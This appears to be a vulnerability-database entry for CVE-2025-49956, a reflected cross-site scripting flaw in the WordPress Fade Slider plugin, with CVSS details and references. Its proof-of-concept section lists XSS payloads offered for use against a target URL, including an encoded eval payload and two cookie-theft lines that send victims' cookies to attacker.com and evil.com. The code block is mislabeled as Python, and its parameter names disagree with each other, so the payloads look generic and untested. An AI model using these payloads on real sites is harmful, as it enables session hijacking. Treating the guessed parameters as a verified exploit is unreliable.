CVE-2025-49956

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Anandaraj Balu Fade Slider fade-slider allows Reflected XSS.This issue affects Fade Slider: from n/a through <= 2.5.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Fade Slider <= 2.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-49956 PoC - Reflected XSS in WordPress Fade Slider Plugin -->
<!-- Replace TARGET_URL with the vulnerable site's URL -->

<!-- Basic XSS PoC -->
TARGET_URL/?fade_param=<script>alert(document.cookie)</script>

<!-- Event Handler Based XSS PoC -->
TARGET_URL/?fade_param=<img src=x onerror=alert('XSS')>

<!-- Cookie Theft PoC -->
TARGET_URL/?fade_param=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>

<!-- JavaScript Execution PoC -->
TARGET_URL/?fade_param=<svg/onload=eval(atob('YWxlcnQoJ1hTUycp'))>

<!-- Real-world Attack URL Template -->
<!-- https://victim.com/wp-content/plugins/fade-slider/?slider_id=<script>document.location='https://evil.com/log?c='+document.cookie</script> -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-49956
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-49956
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-49956/
[4] VulDB https://vuldb.com/cve/CVE-2025-49956
[5] https://patchstack.com/database/Wordpress/Plugin/fade-slider/vulnerability/wordpress-fade-slider-plugin-2-5-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

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